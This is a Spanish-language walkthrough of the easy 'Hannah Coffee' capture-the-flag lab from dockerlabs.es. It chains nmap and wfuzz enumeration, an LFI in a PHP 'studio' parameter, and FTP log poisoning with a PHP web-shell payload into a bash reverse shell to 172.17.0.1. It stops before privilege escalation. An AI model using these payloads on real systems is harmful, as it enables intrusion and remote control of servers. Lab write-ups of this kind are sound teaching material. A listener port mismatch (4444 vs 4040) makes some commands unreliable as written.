0. Taller de hacking ético dockerlabs.es: Flynn
- Plataforma: dockerlabs.es
- Nombre de la máquina: Hannah Coffee
- Estado del laboratorio: Completado
- Dificultad: Fácil
- URL del taller: https://dockerlabs.es/maquinas/297/
Hannah's Coffee es una máquina Linux de nivel fácil que simula una aplicación web de cafetería con vulnerabilidades encadenadas. El vector de entrada comienza explotando una vulnerabilidad de Inclusión Local de Archivos (LFI) en la aplicación PHP, la cual se combina con una técnica de FTP Log Poisoning para lograr Ejecución Remota de Códigos (RCE) como www-data. Para la escalada de privilegios, se requiere el uso de comandos permitidos mediante sudo y el abuso de binarios con capabilities específicas para alcanzar el acceso total como root.
1. Enumeración
Descargamos, descomprimimos y lanzamos el docker, nos informa que la IP de la máquina a auditar es `172.17.0.2``
unzip hannah_coffee.zip
sudo bash auto_deploy.sh hannah-coffee.tar
comprobación de la conectividad
ping -c 2 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.441 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.051 ms
--- 172.17.0.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1005ms
rtt min/avg/max/mdev = 0.051/0.246/0.441/0.195 ms
- El
ttl=64(Time to Live) confirma que el destino está en nuestra propia máquina o en la misma red local/Docker. 64 es el valor por defecto en Linux. rtt min/avg/max/mdev = 0.051/0.246/0.441/0.195 ms: Las estadísticas de tiempo (mínimo, promedio, máximo y desviación estándar). El tiempo medio es de apenas 0.246 milisegundos, lo cual demuestra una comunicación prácticamente instantánea.
Escaneo de puertos completo
nmap -sC -sV -Pn -n -T4 -p- --open 172.17.0.2
-p-: escanea los 65535 puertos TCP.-sV: detección de versión de servicio.-sS: escaneo silencioso-sC: ejecuta los scripts NSE por defecto (banners, títulos HTTP, etc.).-Pn: para no ejecutar el comandoping, ya que algunas máquinas tienen deshabilitado el ping porpmotivos de seguridad.-n: Para que no haga la resolución de DNSs--open: muestra solo puertos abiertos.-T4: plantilla de velocidad "agresiva" (adecuada en local).
Nos muestra que tenemos dos puertos abiertos:
- Puerto
21/tcpabierto (servicio FTP): Significa que el servidor permite transferencias de archivos mediante el protocolo FTP. - Puerto
80/tcpabierto (servicio HTTP): Está corriendo un servidor web. El escaneo detecta que utiliza Apache/2.4.68 (Debian).
Ya que hay una web corriendo, echamos un vistazo:
Las rutas de cada página va con parámetros, por ejemplo:
http://172.17.0.2/index.php?page=homehttp://172.17.0.2/index.php?page=contact- etc
A simple vista en el código fuente no vemos ningún regalito.
Intentamos acceder a http://172.17.0.2/index.php?page=../../../../etc/passwd sin éxito.
Lanzamos el script de nmap para detectar vulnerabilidades en ambos puertos:
nmap -p21,80 --script vuln 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-22 11:05 +0200
Nmap scan report for 172.17.0.2
Host is up (0.000094s latency).
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-sql-injection: ERROR: Script execution failed (use -d to debug)
| http-enum:
|_ /pages/: Potentially interesting directory w/ listing on 'apache/2.4.68 (debian)'
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: F6:BD:AF:71:56:49 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 33.04 seconds
Hallazgos de los scripts de Nmap (http-enum):
Ha encontrado un directorio potencialmente interesante llamado /pages/ que tiene activado el listado de directorios (directory listing), lo que significa que se pueden ver los archivos que contiene directamente desde el navegador.
Comprobamos:
Los scripts de pruebas automáticas para XSS, SQL Injection y CSRF no han encontrado vulnerabilidades evidentes con las comprobaciones básicas que ejecuta Nmap por defecto.
Primera vulnerabilidad detectada.
| Identificación | VULN-01 |
| Severidad / Nivel | Baja (CVSS v3.1: 4.3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| Categoría OWASP | A05:2021 – Security Misconfiguration |
| Identificador CWE | CWE-548: Exposure of Information Through Directory Listing |
| Elemento Afectado | Servidor Web Apache http://172.17.0.2/pages/ |
Que el directorio /pages/ tenga habilitado el listado de directorios (Directory Listing) permite a un atacante:
- Enumeración rápida: Ver todos los archivos internos, scripts antiguos, copias de seguridad (.bak, .zip) o documentos olvidados que el administrador no enlazó en la página principal pero que siguen estando en el servidor.
- Fuga de información: Descubrir la estructura de directorios y tecnologías usadas sin necesidad de realizar ataques de fuerza bruta avanzados (directory busting).
Cómo se soluciona en un servidor real (Visión Defensiva / Hardening)
Dado que en una auditoría de seguridad el objetivo es reportar el hallazgo y proponer la solución para cuando el equipo de sistemas tenga que aplicarla en un servidor de producción, la medida estándar es:
- Desactivar los índices en Apache: Modificar el archivo de configuración del virtual host o el archivo principal de Apache (
httpd.confoapache2.conf) añadiendo la opción -Indexes en la directiva del directorio:
<Directory /var/www/html/pages>
Options -Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
- Archivo de índice por defecto: Asegurarse de que cada directorio público disponga al menos de un archivo de bienvenida (
index.htmloindex.php) vacío o con contenido para que el servidor web sirva eso en lugar de mostrar la lista de archivos.
Busqueda de parametros vulnerables: wfuzz
Vamos a buscar parámetro vulnerables con wfuzz, una herramienta de código abierto escrita en Python diseñada para realizar fuzzing y auditorías de seguridad en aplicaciones web.
┌──(alberto㉿kali)-[~/Descargas]
└─$ wfuzz -c -w /usr/share/dirb/wordlists/common.txt --hl 29 -u http://172.17.0.2/index.php?FUZZ=test
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
default
default
/usr/lib/python3/dist-packages/wfuzz/plugin_api/base.py:60: SyntaxWarning:'return' in a 'finally' block
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://172.17.0.2/index.php?FUZZ=test
Total requests: 4614
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000003870: 200 24 L 44 W 635 Ch "studio"
Total time: 1.598703
Processed Requests: 4614
Filtered Requests: 4613
Requests/sec.: 2886.088
-: Colorea la salida por consola para facilitar la lectura.-z file,...: Especifica el archivo de diccionario que va a sustituir la palabra clave FUZZ.--hc 404: Oculta (Hide Code) todas las respuestas del servidor que devuelvan un error 404 (No encontrado), para mostrarte únicamente los directorios o archivos reales que den 200, 403, etc.FUZZ: fuzzing de parámetros (reemplazando FUZZ por palabras de un diccionario) en lugar de buscar directorios en la URL.
Tenemos un hallazgo.
De los 4.614 intentos realizados con el diccionario common.txt, el único parámetro que ha provocado una respuesta diferente y válida con código HTTP 200 es studio.
Esto significa que la aplicación web procesa un parámetro llamado studio en la URL http://172.17.0.2/index.php?studio=.
Este es el punto de entrada exacto donde reside la vulnerabilidad de LFI (Local File Inclusion) que mencionaba el taller.
Vamos a probar subir niveles de directorios (salir de la carpeta web actual, por ejemplo /var/www/html/) hasta llegar a la raíz del sistema operativo (/), donde se encuentra la carpeta /etc/.
Probamos: http://172.17.0.2/index.php?studio=../../../../etc/passwd.
Bingo!
3. Explotación
Vamos a intentar atacar el FTP mediante un envenenamiento del registro (FTP Log Poisoning).
Una vez que hemos confirmado el LFI mediante el parámetro studio, el siguiente paso para lograr la Ejecución Remota de Código (RCE) mediante FTP Log Poisoning consiste en inyectar código PHP en el servidor FTP para que este lo guarde en sus archivos de registro, y luego hacer que la aplicación web lea ese archivo de registro a través del LFI.
Nos conectamos por ftp:
ftp 172.17.0.2
Log Poisoning. Cuando el servidor te solicite el nombre de usuario (Name), introducimos una cadena maliciosa que incluya un payload de PHP en lugar de un nombre real. Por ejemplo: <?php system($_GET['cmd']); ?>
Cuando nos pida la contraseña (Password), podemos introducir cualquier valor aleatorio, con esto fallará el login, pero el intento quedará registrado. El servidor responderá con un error de inicio de sesión (Login incorrect), lo cual es completamente normal ya que el usuario no existe.
3.1. Logs del sistema. Localizar la ruta del archivo de registro.
Para que el LFI pueda ejecutar el código, debemos saber dónde guarda el servicio FTP sus registros (vsftpd en Debian). Las rutas más habituales en Linux son /var/log/vsftpd.log, /var/log/auth.log o /var/log/syslog.
Probamos http://172.17.0.2/index.php?studio=../../../../var/log/vsftpd.log&cmd=id:
El log poison ha funcionado con éxito. Observamos como en la parte inferior de los registros que muestra la pantalla se puede ver claramente la traza del comando ejecutado: [uid=33(www-data) gid=33(www-data) groups=33(www-data)]. El servidor ha interpretado y ejecutado el comando <?php system($_GET['cmd']); ?>, devolviendo la salida del comando id (usuario www-data).
Ahora que ya tenemos el punto de inyección de comandos funcionando, solo te falta añadir el parámetro cmd a la URL para poder escribir cualquier instrucción de Linux a voluntad.
La estructura de la URL en tu navegador o mediante curl debe ser la siguiente:
http://172.17.0.2/index.php?studio=../../../../var/log/vsftpd.log&cmd=<comando>
3.2. Reverse shell.
Abrimos un servicio de escucha con netcat para recibir la conexión entrante::
┌──(alberto㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
Enviamos el payload introduciendo esta url: http://172.17.0.2/index.php?studio=../../../../../../../../var/log/vsftpd.log&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/172.17.0.1/4444%200%3E%261%27
o con curl:
curl -G "http://172.17.0.2/index.php" --data-urlencode "studio=../../../../../../../../var/log/vsftpd.log" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/172.17.0.1/4040 0>&1'"
Nota: dado que los caracteres especiales (como &, >, o espacios) en las URLs pueden romper la petición HTTP, es recomendable usar Netcat (nc) o Bash codificado, o bien probar un payload corto de Bash si la aplicación lo interpreta bien en el parámetro cmd.
Y comprobamosla sesión activa:
──(alberto㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 42366
bash: cannot set terminal process group (38): Inappropriate ioctl for device
bash: no job control in this shell
www-data@01b9e78d1b1a:/var/www/html$ whoami
whoami
www-data
www-data@01b9e78d1b1a:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Vemos que la conexión se ha establecido con éxito y aparece el prompt del sistema dándonos eñ control como el usuario www-data.
Inspeccionamos el directorio:
www-data@01b9e78d1b1a:/var/www/html$ pwd && ls -la
pwd && ls -la
/var/www/html
total 20
drwxr-xr-x 1 root root 4096 Aug 6 08:46 .
drwxr-xr-x 1 root root 4096 Aug 6 08:44 ..
-rw-r--r-- 1 root root 1064 Aug 6 08:04 index.php
drwxr-xr-x 2 root root 4096 Aug 6 08:15 pages
-rw-r--r-- 1 root root 2120 Aug 6 08:14 style.css
3.3 Escalada de privilegios.
Ejecutamos:
sudo -l
Actualización: Tenemos un problema de compatibilidad de arquitecturas. Mi entorno kali donde ejecuto el laboratorio es una máquina virtual y el host en un MacBook Pro con chip M2. La diferencia de arquitecturas entre la máquina anfitrón y el huesped hace que no funcionen sudo.
Pausamos hasta empezar a realizar estos talleres en una máquina con arquitectura x86:
www-data@01b9e78d1b1a:/var/www/html$ sudo -l
sudo -l
sudo: effective uid is not 0, is /usr/bin/sudo on a file system with the 'nosuid' option set or an NFS file system without root privileges?
[EOF]
